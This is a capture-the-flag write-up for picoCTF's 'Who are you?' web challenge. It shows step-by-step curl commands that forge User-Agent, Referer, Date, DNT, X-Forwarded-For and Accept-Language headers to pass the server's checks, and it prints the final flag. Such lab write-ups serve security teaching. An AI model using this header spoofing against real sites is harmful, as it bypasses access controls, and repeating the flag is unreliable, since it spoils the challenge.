Who are you?

Problem
Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:38322/​
Solution
1.Resources: HTTP RFC / MDN HTTP Headers / Language Code Table / Sweden IP Address Ranged​
2.curl http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>" --> Only people who use the official PicoBrowser are allowed on this site!
3.curl --user-agent "picobrowser" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>" --> I don&#39;t trust users visiting from another site.
4.curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>" --> Sorry, this site only worked in 2018.
5.curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>" --> I don&#39;t trust users who can be tracked.
6.curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>" --> This website is only for people from Sweden.
7.curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>" --> You&#39;re in Sweden but you don&#39;t speak Swedish?
8.curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" -H "Accept-Language: sv-SE" http://mercury.picoctf.net:38322/ | grep "<h3.*>.*<\/h3>" --> What can I say except, you are welcome
9.Final command: curl --user-agent "picobrowser" --referer "http://mercury.picoctf.net:38322/" -H "Date: Mon, 23 11 2018 23:23:23 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.71.255.255" -H "Accept-Language: sv-SE" http://mercury.picoctf.net:38322/ | grep "<b>.*</b>" --> picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}
Flag
picoCTF{http_h34d3rs_v3ry_c0Ol_much_w0w_b22d773c}
Last modified 6mo ago